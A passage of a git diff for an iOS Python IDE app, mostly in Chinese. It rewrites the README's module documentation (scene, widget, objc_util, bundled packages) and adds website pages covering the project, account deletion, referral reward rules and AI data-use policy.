绘制文字 | -| `tint(r,g,b,a)` / `no_tint()` | 设置 / 取消图片着色 | -| `translate` / `rotate` / `scale` | 矩阵变换 | -| `push_matrix` / `pop_matrix` | 保存 / 恢复变换状态 | -| `load_image_file(path)` | 从文件加载图片 | -| `render_text(txt,font,size)` | 将文字渲染为纹理 | - -##### 其他功能 - -| 功能 | 说明 | -|------|------| -| `Scene.touch_began/moved/ended` | 多点触摸事件回调 | -| `Scene.present_modal_scene` | 模态场景(菜单、暂停画面等) | -| `Scene.did_change_size` | 屏幕旋转回调 | -| `run(scene, orientation, show_fps)` | 启动场景,支持竖屏/横屏/自动 | -| `get_screen_size()` / `get_screen_scale()` | 屏幕尺寸与缩放因子 | -| `gravity()` | 读取设备重力传感器(陀螺仪) | -| `play_effect(name)` | 播放音效 | -| `Texture(name)` | 加载纹理资源 | -| `Shader(source)` | 自定义着色器 | -| `SceneView` | 将场景嵌入 `ui.View` 中 | - -##### 代码示例 - -```python -from scene import * - -class MyGame(Scene): - def setup(self): - self.background_color = (0.05, 0.05, 0.15) - self.player = SpriteNode('plc:Alien_Green', - position=self.size / 2, - parent=self) - - def touch_began(self, touch): - self.player.run_action( - Action.move_to(*touch.location, 0.3, TIMING_EASE_OUT) - ) - -run(MyGame()) -``` +
+查看全部 45 个原生/C 扩展发行包 -应用内置 **16 款游戏示例**,包括贪吃蛇、Flappy Bird、打砖块、2048、水果忍者、俄罗斯方块、塔防、节奏大师、太空射击、打地鼠、重力迷宫等,可直接运行学习。 - -#### 📲 widget 模块 — iOS 桌面小组件 - -用 Python 创建 **iOS 桌面小组件**,脚本运行后自动渲染到主屏幕。支持声明式布局 DSL 和快捷模板两种模式。 - -> **完整 API 文档:** [widget 模块完整文档](docs/widget-module.md) - -##### 支持的组件(14 种) - -| 组件 | 方法 | 说明 | -|------|------|------| -| **文字** | `w.text(content, size, weight, color, align, max_lines, design)` | 支持字号、字重、颜色、对齐、行数限制、字体设计(`rounded` / `monospaced` / `serif`) | -| **图标** | `w.icon(name, size, color, weight)` | SF Symbol 图标,支持 6000+ 系统图标 | -| **Emoji** | `w.emoji(content, size)` | Emoji 表情,支持自定义大小 | -| **间距** | `w.spacer(length)` | 弹性间距或固定间距 | -| **分割线** | `w.divider(color, opacity)` | 水平分割线 | -| **进度条** | `w.progress(value, total, color, height, track_color)` | 线性进度条,支持自定义颜色和轨道色 | -| **仪表盘** | `w.gauge(value, total, label, size, color, track_color, line_width)` | 圆形仪表盘,支持中心文字 | -| **实时计时** | `w.timer(target, style, size, weight, color)` | WidgetKit 原生倒计时,无需刷新;支持 `timer` / `relative` / `date` / `time` / `offset` 五种样式 | -| **图片** | `w.image(name, width, height, corner_radius, content_mode)` | 显示通过 `save_image()` 缓存的图片,支持 `fit` / `fill` | -| **水平布局** | `w.hstack(spacing, align, background, corner_radius, url)` | `with` 语法,支持嵌套 | -| **垂直布局** | `w.vstack(...)` | 同上 | -| **叠加布局** | `w.zstack(...)` | 多层叠加 | -| **卡片** | `w.card(background, corner_radius, padding, border_color, border_width, url)` | 带圆角、背景、边框的容器 | -| **渲染输出** | `w.render(url)` | 输出最终布局,可设置点击跳转 URL | - -##### 小组件尺寸 - -| 常量 | 说明 | -|------|------| -| `SMALL` | 主屏幕小组件(2×2) | -| `MEDIUM` | 主屏幕中组件(4×2) | -| `LARGE` | 主屏幕大组件(4×4) | -| `CIRCULAR` | 锁屏圆形小组件 | -| `RECTANGULAR` | 锁屏矩形小组件 | -| `INLINE` | 锁屏行内小组件 | - -通过 `widget.family` 获取当前尺寸,按需适配不同布局。 - -##### 特色功能 - -- **深色模式适配**:颜色支持 `(light_color, dark_color)` 元组,自动跟随系统 -- **渐变背景**:`{"gradient": ["#FF6B6B", "#4ECDC4"], "direction": "diagonal"}`,支持 4 个方向 -- **图片缓存**:`save_image(source, name)` 支持文件路径和 bytes,自动压缩(限 512KB) -- **深链跳转**:容器和 `render()` 支持 `url` 参数,点击小组件跳转到指定页面 -- **快捷模板**:`widget.show(title, value, progress, rows)` 一行代码生成常用布局 - -##### 代码示例 - -```python -from widget import Widget, family, SMALL, MEDIUM - -w = Widget(background=("#1a1a2e", "#0f0f1a")) - -with w.vstack(spacing=8, padding=12): - w.text("🔥 今日目标", size=13, color="#aaa") - with w.hstack(spacing=12): - w.gauge(0.75, label="75%", size=50, - color="#FF6B6B", track_color="#333") - with w.vstack(spacing=4, align="leading"): - w.text("步数 8,432", size=14, weight="semibold", color="white") - w.text("目标 10,000", size=12, color="#888") - w.divider(color="#333") - w.progress(0.6, color="#4ECDC4", height=6, track_color="#222") - -w.render() -``` +`MarkupSafe`, `Pillow`, `PyYAML`, `SciPy`, `aiohttp`, `argon2-cffi`, `argon2-cffi-bindings`, `bcrypt`, `bitarray`, `brotli`, `cffi`, `contourpy`, `coverage`, `cryptography`, `cytoolz`, `frozenlist`, `greenlet`, `httptools`, `jiter`, `kiwisolver`, `lru-dict`, `lxml`, `matplotlib`, `mmh3`, `msgpack`, `msgspec`, `multidict`, `numpy`, `opencv-python-headless`, `pandas`, `pygame`, `pyrsistent`, `rapidjson`, `regex`, `ruamel.yaml`, `scikit-learn`, `setproctitle`, `simplejson`, `toolz`, `tornado`, `ujson`, `wrapt`, `xxhash`, `yarl`, `zstandard`。 -应用内置 **8 款小组件示例**,包括健身环、习惯追踪、学习计时、货币汇率、音乐播放器等,可直接运行体验。 +
-#### 🔧 objc_util 模块 — ObjC 运行时桥接 +内置包会随 App 版本更新。上表对应当前仓库中的运行时清单,清单更新日期为 2026-07-11。 -通过 `objc_util` 可以在 Python 中直接调用 iOS Objective-C API,访问系统框架(UIKit、Vision、AVFoundation 等),创建 ObjC 类,注册回调。 +## AI Agent 与 Skills -```python -from objc_util import ObjCClass, on_main_thread +Agent 可以围绕真实项目执行多步骤任务:读取上下文、修改文件、运行代码、观察输出,并根据错误继续修复。模型既可以使用 PythonIDE 提供的额度,也可以使用用户自己的 API Key 或兼容服务商。 -UIDevice = ObjCClass('UIDevice') -device = UIDevice.currentDevice() -print(device.systemVersion()) -``` - -> **完整 API 文档:** [objc_util 模块完整文档](docs/objc_util-module.md) +官方 Skills 仓库提供面向 Codex、Cursor 和 Claude Code 的 PythonIDE 开发知识,包括 AppUI、Widget、自动化、iOS 原生能力和场景开发: ---- - -### 🔒 隐私与个性化 - -| 功能 | 描述 | -|------|------| -| **Face ID / Touch ID** | 应用锁定保护代码隐私,可设置锁定延迟(立即 / 1 / 2 / 5 / 30 分钟) | -| **5 套 App 图标** | 默认、深色、渐变、极简,以及捐赠专属图标,随时切换 | -| **外观模式** | 跟随系统 / 强制浅色 / 强制深色 | -| **自定义背景** | 编辑器与控制台背景支持纯色或自定义图片 | -| **触觉反馈** | 操作成功 / 失败 / 提示三级触感反馈 | -| **后台运行** | 长任务后台继续执行,音频保活防系统杀进程 | -| **启动动画** | Lottie 动态启动页,冷启动更流畅 | - ---- - -## 📱 截图 / Screenshots - -| 首页 | 编辑器 | -|:---:|:---:| -| | | -| 文件管理、颜色标记、置顶、搜索、批量操作、回收站 | 语法高亮、智能补全、快捷输入栏、查找替换、分屏 | - -| 控制台 | AI 助手 | -|:---:|:---:| -| | | -| Rich 彩色输出、进度条、多控制台切换、交互式 input() | Diff 差异对比、逐条采纳/拒绝、一键修复报错、SSH 远程运维 | - -| 库管理 | 工具箱 | -|:---:|:---:| -| | | -| PyPI 搜索安装、热门库分类、进度条、版本管理、一键卸载 | 编解码、JSON、API 调试、二维码、时间戳、正则、直链下载 | - -| HTML 预览 | Markdown 渲染 | -|:---:|:---:| -| | | -| 全屏网页渲染、双指缩放、alert/console 桥接 | 实时渲染,支持标题、列表、代码块、表格、任务列表 | - -| 新建文件 | 设置 | -|:---:|:---:| -| | | -| 支持 py/js/html/css/md/json 等多种格式,可设置颜色标记 | 外观、编辑器字体、AI 配置、应用锁定、快捷指令帮助 | - ---- - -## 📥 安装 / Install - -

- - Download on App Store - -

- -| 要求 | 说明 | -|------|------| -| **系统** | iOS 16.2 或更高版本 | -| **设备** | iPhone / iPad 均支持 | -| **价格** | 免费下载,AI 功能提供免费额度 | - ---- - -## 💬 社区与反馈 / Community & Feedback - -| 渠道 | 链接 | -|------|------| -| **✈️ Telegram 频道** | [iOS 端 Py 编程 IDE](https://t.me/pythonzwb) — 获取更新动态,与其他用户交流 | -| **💡 功能建议** | [GitHub Discussions](https://github.com/jinwandalaohu66/PythonIDE-Landing/discussions) | -| **🐛 问题反馈** | [GitHub Issues](https://github.com/jinwandalaohu66/PythonIDE-Landing/issues) | -| **📧 邮件** | 应用内「设置 → 反馈 → 发送邮件」 | -| **⭐ 支持** | [App Store 评分](https://apps.apple.com/app/id6753987304) · [GitHub Star](https://github.com/jinwandalaohu66/PythonIDE-Landing) | - ---- +```bash +npx skills add Python-IDE/pythonide-skills +``` -## ☕ 支持开发 / Support +详见 [PythonIDE Agent 开发文档](https://pythonide.xin/docs/pages/agent-development-index/) 与 [PythonIDE Skills](https://github.com/Python-IDE/pythonide-skills)。 -如果 PythonIDE 对你有帮助,欢迎通过以下方式支持后续开发: +## 文档 -- **App Store 评分** — 五星好评是最大的鼓励 -- **GitHub Star** — 让更多开发者发现这个项目 -- **应用内捐赠** — 支持 🍭 棒棒糖 / 🍗 鸡腿 / 🧋 奶茶 三个档位,捐赠后可解锁专属 App 图标 +| 主题 | 入口 | +|---|---| +| 文档首页 | [pythonide.xin/docs](https://pythonide.xin/docs/) | +| AppUI / MiniApp | [AppUI 文档](https://pythonide.xin/docs/collections/appui/) | +| Widget | [Widget 文档](https://pythonide.xin/docs/collections/widget/) | +| iOS 原生模块 | [iOS 原生模块](https://pythonide.xin/docs/collections/ios-native/) | +| 自动化与扩展 | [自动化与扩展](https://pythonide.xin/docs/collections/automation-extension/) | +| Agent 开发 | [Agent 开发索引](https://pythonide.xin/docs/pages/agent-development-index/) | +| C 扩展模块 | [C 扩展说明](https://pythonide.xin/docs/pages/c-extensions-module/) | +| 隐私政策 | [Privacy Policy](https://pythonide.xin/privacy/) | -

- 赞赏码
- 扫码赞赏 · Thank you for your support ♥ -

+## Python-IDE 组织 ---- +| 仓库 | 职责 | +|---|---| +| [PythonIDE-iOS](https://github.com/Python-IDE/PythonIDE-iOS) | PythonIDE 产品介绍、官网和公开文档 | +| [pythonide-skills](https://github.com/Python-IDE/pythonide-skills) | 官方 Agent Skills 与安装入口 | +| [pythonide-link](https://github.com/Python-IDE/pythonide-link) | Universal Links、分享预览、远程导入与 MCP OAuth 回调 | +| [.github](https://github.com/Python-IDE/.github) | 组织主页、贡献指南、安全策略和 Issue 模板 | -## 🙏 致谢 / Thanks +## 安装与支持 -感谢所有使用、反馈和支持 PythonIDE 的开发者们。 -每一条反馈都推动着这个项目变得更好。 +- [在 App Store 下载 PythonIDE](https://apps.apple.com/app/id6753987304) +- [提交问题或功能建议](https://github.com/Python-IDE/PythonIDE-iOS/issues) +- [查看安全报告方式](https://github.com/Python-IDE/.github/blob/main/SECURITY.md) +- [加入 Telegram 社区](https://t.me/pythonzwb) -

- PythonIDE —— 本地、纯粹、实用的移动端编程环境 -

+系统要求:iOS/iPadOS 16.2 或更高版本。 ---

- - Topics · ios · python · javascript · ide · ssh · sftp · server-management · numpy · pillow · cryptography · app-intents · siri · shortcuts · live-activity · mobile-development · swift · scripting · developer-tools · game-engine · widgets - + PythonIDE
+ Python on iPhone and iPad, connected to real workflows.

diff --git a/docs/404.html b/docs/404.html new file mode 100644 index 0000000..7cba947 --- /dev/null +++ b/docs/404.html @@ -0,0 +1,27 @@ + + + + + + + + + + + + 页面未找到 — PythonIDE + +
+ +
404

这个页面不在这里。

链接可能不完整、已失效或已经移动。你可以返回首页,或打开支持中心。

+ +
diff --git "a/docs/AI\345\210\206\346\236\220.png" "b/docs/AI\345\210\206\346\236\220.png" deleted file mode 100644 index e3eb158..0000000 Binary files "a/docs/AI\345\210\206\346\236\220.png" and /dev/null differ diff --git a/docs/CNAME b/docs/CNAME index 5f9162c..0fe9210 100644 --- a/docs/CNAME +++ b/docs/CNAME @@ -1 +1 @@ -pythonide.xin \ No newline at end of file +pythonide.xin diff --git a/docs/about/index.html b/docs/about/index.html new file mode 100644 index 0000000..fd63c90 --- /dev/null +++ b/docs/about/index.html @@ -0,0 +1,18 @@ + + + + + 关于 PythonIDE +
+ +
+

关于 PythonIDE

灵感在哪里,Python 就应该在哪里。

PythonIDE 希望让严肃的 Python 创作在 Apple 设备上依然自然,而不是把桌面界面压缩到一块更小的屏幕里。

+
iPhone随时创作
iPad专注工作空间
Mac延续同一份作品
Python一种有表达力的语言
+

为项目还没有变“大”之前,保留最珍贵的开始。

许多有用的脚本、课程、自动化与界面,都从一个很小的念头开始。PythonIDE 想缩短这个念头与“真正跑起来”之间的距离。

不用仪式感也能开始

打开文件,写一行,运行,然后继续。环境应该支持你的节奏,而不是先要求一套复杂配置。

可以长成原生体验

AppUI 与原生能力桥接让脚本可以继续长成界面、小组件、自动化或实用工具,同时保持 Python 优先。

通过真实作品学习

文档、示例、AI 协作、诊断与审核社区,都围绕完成一份可理解的真实作品组织。

+

能力可以很强,体验仍然要清楚。

+

从代码,到可以分享的作品。

开发根据平台可用性提供 Python 运行、编辑器、控制台与终端、项目、文件、包流程、下载、Git、SSH、WebDAV 与辅助工具。
创作AppUI 原生界面、MiniApp、小组件、图表、系统能力、快捷指令与可分享体验。
智能平台 AI、自有模型服务、自定义兼容接口、符合条件的端侧模型、Agent 工具、本地对话与执行轨迹。
社区作者资料、发布前审核、公开脚本、导入、处理记录、邀请奖励、举报与申诉。
+

由独立开发者构建与运营。

PythonIDE 由张文禄开发。除非明确说明,PythonIDE 与 Python 软件基金会、Apple、OpenAI、DeepSeek 或其他提供方不存在隶属或背书关系。Python、Apple、各提供方名称及相关标识归其各自权利人所有。

+

让下一个小想法,真正运行起来。

+
+ +
diff --git a/docs/account-deletion/index.html b/docs/account-deletion/index.html new file mode 100644 index 0000000..acc11c9 --- /dev/null +++ b/docs/account-deletion/index.html @@ -0,0 +1,18 @@ + + + + + 删除账户 — PythonIDE +
+ +

账户控制

删除整个账户,不只是退出登录。

PythonIDE 在 App 内提供永久账户删除,并在不可撤销操作前要求再次通过 Apple 验证身份。

最近更新:2026 年 7 月 16 日

+
+

在 PythonIDE 内删除账户

1
打开社区个人资料进入 PythonIDE 社区,打开自己的个人资料,再进入完善或编辑资料页面。
2
选择“注销 PythonIDE 账号”该入口位于资料设置下方,请阅读不可撤销操作提示。
3
确认“永久注销”PythonIDE 会说明账户资料、社区内容与已部署网站将停止公开访问并进入删除流程。
4
再次通过 Apple 验证完成“通过 Apple 登录”以确认账户归属,并让服务撤销 PythonIDE 使用的 Apple 授权。
此操作不可撤销

完成后不能通过退出登录或恢复购买找回账户。以后重新使用时可能需要创建新账户,原社区身份与内容可能无法恢复。

+

删除流程会做什么

  • 撤销有效的 PythonIDE 账户会话,并清除 App 中的账户凭证。
  • 在授权流程成功时,撤销 PythonIDE 账户所使用的“通过 Apple 登录”授权。
  • 在后台标记账户已删除,并从正常服务中移除或去标识化用户名、邮箱、头像等资料字段。
  • 从公开服务中移除用户已发布的社区脚本,并从正常流程中删除待审核或已拒绝投稿。
  • 安排清理由该账户部署的网站,使其停止正常公开访问。
  • 仅在安全、防滥用、计费完整性、争议、备份或法律合理需要的范围内保留有限记录,并按运行需要与适用要求到期。
+

哪些内容需要单独处理

Apple 订阅删除账户不会取消 App Store 计费。如不希望续订,请通过 Apple 取消。
本地项目与对话设备中的文件、下载、本地 AI 对话、预设与缓存不会必然因服务器账户删除而移除,请按需在 App、“文件”或系统存储中删除。
iCloud 与文件提供商保存在 iCloud Drive 或其他提供商的文稿继续由该提供商和你的账户管理,直到你在相应位置删除。
他人持有的副本删除公开源码无法收回其他用户此前已导入、导出或合法保存的副本。

取消或管理订阅 · 查看隐私政策

+

删除前建议

  • 导出或备份希望保留的本地项目与社区源码。
  • 如不希望继续收费,先取消 Apple 自动续订。
  • 保留需要的购买收据、申请编号、审核决定或支持记录。
  • 移除秘密信息或撤销曾在 PythonIDE 使用的外部 API 密钥,尤其是在同时处置设备时。
+

无法使用 App 内流程时

App 内流程最快也最安全,因为会通过 Apple 验证归属。如 App 崩溃、账户无法访问或删除反复失败,请尽量使用与账户相关的邮箱联系支持。我们可能请求有限信息验证归属;切勿发送 Apple 密码、验证码、API 密钥或完整付款资料。

+
+
+ +
diff --git a/docs/activity/index.html b/docs/activity/index.html new file mode 100644 index 0000000..d0f305c --- /dev/null +++ b/docs/activity/index.html @@ -0,0 +1,19 @@ + + + + + 邀请活动规则 — PythonIDE +
+ +

邀请活动

真诚分享,奖励真实使用。

新用户绑定邀请码、使用核心功能并在次日再次打开后,才成为有效邀请。资格以后台记录为准,不以截图为准。

最近更新:2026 年 7 月 16 日

+
+

奖励档位

10 位有效邀请Pro 月卡。按 App 内领取流程与 App Store 确认界面完成兑换。
20 位有效邀请Pro 终身 5 折。在 App 内提交申请,再携带 REF 开头的申请编号联系支持。
40 位有效邀请Pro 终身。按 App 内显示的领取状态与说明完成兑换。
领取 Pro 月卡前阅读 Apple 确认

如 Apple 将兑换的 Pro 月卡标识为自动续订,奖励期结束后可能续订,除非你通过 Apple 账户取消。具体优惠与价格以 App Store 确认界面为准。

+

什么是有效邀请

以下条件必须全部由 PythonIDE 后台记录:

1
首次使用的新用户老用户、你自己的账户、重复或关联身份,以及重复或可疑设备不计入。
2
成功绑定邀请码被邀请人在 App 内输入邀请码;每个受邀账户按服务规则只能绑定一位邀请人。
3
完成一次核心行为被邀请人至少运行一次 Python,或使用一次符合条件的 AI 功能。
4
次日再次打开 App在次日再次打开 App,完成留存验证后,邀请才可计为有效。

网络延迟、离线使用、App 版本差异、账户复核或防滥用检查可能延迟状态更新,以邀请面板与最终后台记录为准。

+

奖励如何领取

  • 在 PythonIDE 中进入“我的—邀请好友”,查看有效数量、档位状态、兑换码或申请详情。
  • 自动兑换码档位请使用 App 显示的兑换码或 App Store 流程;截图不能替代兑换与后台验证。
  • Pro 终身 5 折档位请先在 App 提交申请,打开详情复制 REF 申请编号,再把申请编号、你的邀请码与简要说明发送给支持。
  • 记录核验期间奖励可能保持待领取状态;除非支持要求,不要为同一档位重复提交申请。
+

防刷与取消资格

对于自邀、重复设备或身份、伪造行为、自动化、脚本或设备农场、购买或交换账户、误导性激励、强制绑定、未经授权收集个人信息、篡改或其他操纵资格的行为,PythonIDE 可以排除、撤销、延迟或调查相关邀请与奖励。

我们可能请求合理核验、保留相关防滥用记录、暂停兑换、限制账户,或在技术与法律允许时收回错误发放的权益。真诚分享与家庭正常设备使用会结合背景判断,不会只凭单一信号决定。

+

其他社区活动

小红书作品符合当前活动说明的 PythonIDE 相关作品,在小红书 @ 开发者并达到 100 赞后,可申请 Pro 终身,需通过核验。
社区抽奖支持5000 人以上的社区可申请最多 10 个 Pro 终身抽奖名额,需核验真实性、适合度、可用名额与活动方案。

这些属于独立促销活动,并非自动邀请档位。是否通过、数量、时间、平台要求与兑换方式由官方支持逐项确认;未获书面确认前,不得把活动表述为官方赞助。

+

规则变更、记录与支持

PythonIDE 可能因产品、防滥用、成本、法律或平台原因调整或结束活动。重大变化会在本页或 App 公布。除非另有说明,变更不会移除已合法领取并发放的奖励;待领取或未来资格适用相应规则与核验记录。

PythonIDE 后台记录是邀请码绑定、核心行为、留存、有效数量、申请状态与兑换的最终依据;截图、聊天记录与第三方统计仅可作为辅助材料。

+
+
+ +
diff --git a/docs/ai-policy/index.html b/docs/ai-policy/index.html new file mode 100644 index 0000000..822df57 --- /dev/null +++ b/docs/ai-policy/index.html @@ -0,0 +1,21 @@ + + + + + + AI 服务与数据使用说明 — PythonIDE +
+ +

AI 与数据

清楚选择,上下文要去哪里。

PythonIDE 支持平台 AI、你配置的模型服务与符合条件的端侧模型。你选择的路径决定请求在哪里处理。

最近更新:2026 年 7 月 16 日

+
+

三种处理路径

平台 AI请求通过 PythonIDE AI 代理完成鉴权与路由,再发送到受支持的模型提供方;代理会执行账户或方案额度控制并返回结果。
自有模型服务(BYOK)请求使用你提供的认证信息,发送到你配置的模型提供方、API 基础地址或 OpenAI 兼容接口。
端侧模型在受支持的系统与设备上,符合条件的请求可由 Apple 端侧模型处理,无需发送到云端模型。
选择决定数据路径

发送机密代码、个人信息、凭证或受监管数据前,请确认当前模型与提供方。自定义接口由其运营方控制,并非 PythonIDE 控制。

+

请求可能包含什么

PythonIDE 只会发送为你主动发起的请求组装的上下文,但上下文可能包含较多内容。根据功能与选择,可能包括:

  • 你的提示词与所选历史消息,包括使用时的会话标题生成内容或摘要。
  • 所选代码、文件内容、文件名、项目结构、诊断、控制台输出、错误、差异或编辑器上下文。
  • 你明确附加或向功能提供的图片、附件预览、文档或其他文件。
  • 继续任务所需的工具定义、工具调用、工具结果、记忆引用与 Agent 执行观察。
  • 模型、提供方、回复格式、Token 预算与请求设置。

提供方会按支持范围返回生成文本、代码、推理或工具指令、用量信息与错误;PythonIDE 会展示或使用这些结果完成你请求的流程。

+

本地对话、轨迹与分析

PythonIDE 会把 AI 对话保存在本地应用支持目录,使会话可在重启后继续。保存内容可能包括消息、附件预览、工具调用、Agent 步骤、候选回复与相关结构化结果。App 会限制保留的会话与消息数量以管理存储,但你仍应删除不再需要的对话。

运行层面的 AI 分析与执行轨迹也会在本地记录,用于呈现状态变化、Token 估算、验证结果与失败原因。分析记录中的文件路径以本地摘要表示,而非保存原始路径。这些本地记录不是广告分析数据流。

当你发起后续请求时,选中的历史消息或摘要可能成为新的在线请求的一部分。“本地保存”不代表消息从未被传输;如果最初使用在线模型,它当时已经发送。

+

API 密钥、OAuth 令牌与自定义请求头

PythonIDE 在受支持的平台上使用 Apple 钥匙串保存你配置的 API 密钥、OAuth 客户端密钥与令牌、自定义认证请求头。基础地址、模型 ID、API 格式与预设名称等非秘密配置可能保存在 App 偏好设置中。

  • 凭证用于向你配置的接口验证请求。
  • 不要把凭证粘贴到提示词、源码、截图、社区投稿或支持邮件中。
  • 在提供方支持时,使用权限范围、消费上限、轮换与撤销功能。
  • 如怀疑泄露,请先在提供方撤销密钥或令牌,再在 PythonIDE 中删除或更换。
+

你可以如何控制

1
按任务选择提供方敏感且简单的任务可优先使用符合条件的端侧模型,在线任务请选择条款符合需求的提供方。
2
发送前减少上下文只打开必要文件,移除秘密信息,限制附件,并检查功能展示的上下文或差异。
3
检查工具操作Agent 与工具流程可能在可用权限内读写文件、运行代码、访问网络或打开外部 App,请检查确认与结果。
4
及时删除与轮换删除不需要的对话与轨迹、移除模型预设,并在怀疑泄露后轮换凭证。
+

AI 局限与安全使用

AI 可能以肯定语气生成错误事实、不安全代码、不存在的 API、不兼容的包说明、破坏性命令或存在许可问题的内容。生成代码在运行时也可能访问文件、网络、传感器、账户或外部系统。

你始终是审查者与执行者

请阅读差异、理解命令、保留备份、在安全范围测试,并在访问系统或数据前取得授权。不要把 AI 当作合格法律、医疗、金融、安全或人身安全建议的替代品。

PythonIDE 可能应用请求限额、安全检查、工具权限或拒绝行为;不同提供方的安全机制可能不同,并可能独立变化。

+

提供方条款、更新与联系

在线提供方的隐私政策与条款在本说明之外同时适用。PythonIDE 可能因可用性、质量、安全、成本或提供方要求而增加、移除或调整受支持模型。PythonIDE 数据路径的重要变化会更新在本页,并在适当时通过 App 提示。

+
+
+ +
diff --git a/docs/appui-module.md b/docs/appui-module.md deleted file mode 100644 index 858c519..0000000 --- a/docs/appui-module.md +++ /dev/null @@ -1,253 +0,0 @@ -# appui 模块 — 声明式原生 UI(SwiftUI 风格) - -`appui` 是 Python IDE 提供的 **声明式 UI 框架**:用 Python 描述界面结构(栈、列表、表单、导航等),底层由 **SwiftUI** 渲染,适合快速搭建设置页、简单工具界面、原型等场景。 - -> **与内置帮助一致**:应用内 **设置 → 帮助 → 模块与原生能力指南 → appui — 声明式 UI 框架** 中有与本文同步的速查示例。 - ---- - -## 与 `ui` 模块的区别 - -| 维度 | `ui` 模块 | `appui` 模块 | -|------|-----------|--------------| -| **风格** | Pythonista 兼容的 **UIKit 命令式** API | **声明式** DSL,接近 SwiftUI | -| **典型用法** | `ui.View`、`present()`、`load_view`、手势、自定义 `draw` | `appui.VStack`、`appui.run()`、链式 **修饰符** | -| **状态** | 手动更新控件属性 | `appui.State` **响应式**,改属性可触发界面刷新 | -| **坐标** | 左上角原点,`y` 向下 | 由布局容器与修饰符管理,不写绝对 frame 也能排版 | -| **兼容目标** | 与 Pythonista 脚本、老项目对齐 | 新项目、快速界面、SwiftUI 心智模型 | - -两者可同时存在于应用中,按场景选择:**复杂传统 UI / 兼容 Pythonista** 用 `ui`;**列表+表单+导航的现代布局** 可优先尝试 `appui`。 - ---- - -## 快速开始 - -```python -import appui - -state = appui.State(count=0) - -def increment(): - state.count += 1 - -def body(): - return appui.VStack([ - appui.Text(f"计数: {state.count}") - .font("title").bold(), - appui.Button("点击 +1", action=increment) - .button_style("bordered_prominent"), - ], spacing=20).padding() - -appui.run(body, state=state) -``` - ---- - -## 入口与展示 - -| API | 说明 | -|-----|------| -| `appui.run(body, state=..., presentation=...)` | 运行声明式界面;`body` 为无参函数,返回根视图 | -| `presentation` | `'sheet'` / `'fullscreen'` / `'fullscreen_with_close'` 等,控制模态样式 | - ---- - -## 布局容器 - -```python -# 垂直 / 水平 / 层叠 -appui.VStack(content, alignment, spacing) -appui.HStack(content, alignment, spacing) -appui.ZStack(content, alignment) - -# 滚动与网格 -appui.ScrollView(content, axes='vertical') -appui.LazyVGrid(columns=[appui.flexible()], content) - -# 列表与表单 -appui.List(content) -appui.Form([ - appui.Section(content, header="标题"), -]) -appui.ForEach(data, row_builder, key='id') -``` - -| 组件 | 用途 | -|------|------| -| `VStack` / `HStack` / `ZStack` | 线性或叠加布局 | -| `ScrollView` | 可滚动内容 | -| `LazyVGrid` + `flexible()` | 自适应列网格 | -| `List` | 列表 | -| `Form` / `Section` | 分组表单 | -| `ForEach` | 由数据驱动多行 | - ---- - -## 导航与标签页 - -```python -# 导航栈 -appui.NavigationStack( - appui.VStack([...]) - .navigation_title("首页") -) -appui.NavigationLink("详情", destination=detail()) - -# 底部标签页 -appui.TabView([ - appui.Tab(title="首页", - system_image="house.fill", - content=home_view()), - appui.Tab(title="设置", - system_image="gearshape.fill", - content=settings_view()), -]) -``` - ---- - -## 基础视图与输入控件 - -**展示** - -- `appui.Text(...)` -- `appui.Image(system_name="star.fill")` — SF Symbol - -**输入** - -```python -appui.TextField("占位符", text=state.name, - on_change=lambda v: setattr(state, 'name', v)) -appui.SecureField("密码", text=state.pwd, ...) -appui.TextEditor(text=state.note, on_change=...) -appui.Toggle("开关", is_on=state.on, on_change=...) -appui.Slider(value=state.val, minimum=0, maximum=100) -appui.Picker("选择", selection=state.sel, - options=["A", "B", "C"], on_change=...) -appui.DatePicker("日期", selection=state.date) -``` - ---- - -## 修饰符(链式调用) - -声明式 API 通过 **返回 self** 的链式方法设置样式与行为: - -```python -appui.Text("Hello") - .font("title") - .bold() - .foreground_color("blue") - .padding(16) - .background("gray", corner_radius=12) - .frame(width=200, height=100) - .shadow(radius=4) - .on_tap(action) - .animation("spring") - -appui.Image(system_name="star.fill") - .font("system", size=48) - .resizable() - .aspect_ratio(content_mode='fit') - .foreground_color("orange") -``` - -常见修饰符包括:`font`、`bold`、`foreground_color`、`padding`、`background`、`frame`、`shadow`、`on_tap`、`animation` 等(以实际实现为准)。 - ---- - -## 状态管理 - -```python -# 响应式状态 — 属性变化会驱动 UI 更新 -state = appui.State(count=0, name='') -state.count += 1 - -# 不触发刷新的引用容器 -ref = appui.Ref(initial=None) - -# 计算属性(依赖变化时重算) -@appui.computed(state, depends_on=['count']) -def doubled(): - return state.count * 2 - -# 副作用(依赖变化时执行) -@appui.effect(state, depends_on=['name']) -def on_name_change(): - print(f"名字变为: {state.name}") -``` - -| 类型 | 作用 | -|------|------| -| `State` | 可观察状态,赋值后刷新依赖该状态的视图 | -| `Ref` | 可变引用,适合存放不需要触发整树刷新的对象 | -| `@computed` | 派生数据 | -| `@effect` | 依赖变更时的回调(日志、同步等) | - ---- - -## 手势与弹窗 - -```python -# 手势 -.on_tap(action) -.on_long_press(action, min_duration=0.5) -.on_drag(on_changed=..., on_ended=...) - -# 弹窗 -.alert("标题", message="内容", - is_presented=state.show_alert, - actions=[appui.Button("确定", action=ok)]) -.sheet(is_presented=state.show_sheet, - content=sheet_view()) -``` - -`appui.Button` 既可用在布局中,也可作为 `alert` 的 `actions`。 - ---- - -## 完整示例:计数器 + 多状态 - -```python -import appui - -state = appui.State(count=0, show_alert=False) - -def increment(): - state.count += 1 - -def body(): - return appui.NavigationStack( - appui.VStack([ - appui.Text(f"当前: {state.count}").font("title"), - appui.Button("+1", action=increment), - appui.Button("弹出提示", action=lambda: setattr(state, "show_alert", True)), - ], spacing=16) - .padding() - .navigation_title("Demo") - .alert( - "提示", - message="这是一个 alert 示例", - is_presented=state.show_alert, - actions=[appui.Button("好的", action=lambda: setattr(state, "show_alert", False))], - ) - ) - -appui.run(body, state=state, presentation='sheet') -``` - ---- - -## 注意事项 - -1. **线程**:UI 更新应在主线程/框架允许的上下文中进行(与 `ui` 模块相同,避免后台线程直接改 State)。 -2. **与 `scene` 坐标系无关**:`appui` 为屏幕 UI;2D 游戏请使用 `scene` 模块。 -3. **API 演进**:链式修饰符与控件名可能随版本增加,若 AI 助手或文档滞后,请以 **应用内「模块与原生能力指南」** 为准。 - ---- - -## 相关文档 - -- [ui 模块 — 原生 iOS 界面](ui-module.md)(Pythonista / UIKit) -- [scene 模块 — 2D 游戏引擎](scene-module.md) -- [widget 模块 — 桌面小组件](widget-module.md) diff --git a/docs/assets/brand-mark.svg b/docs/assets/brand-mark.svg new file mode 100644 index 0000000..42e16d1 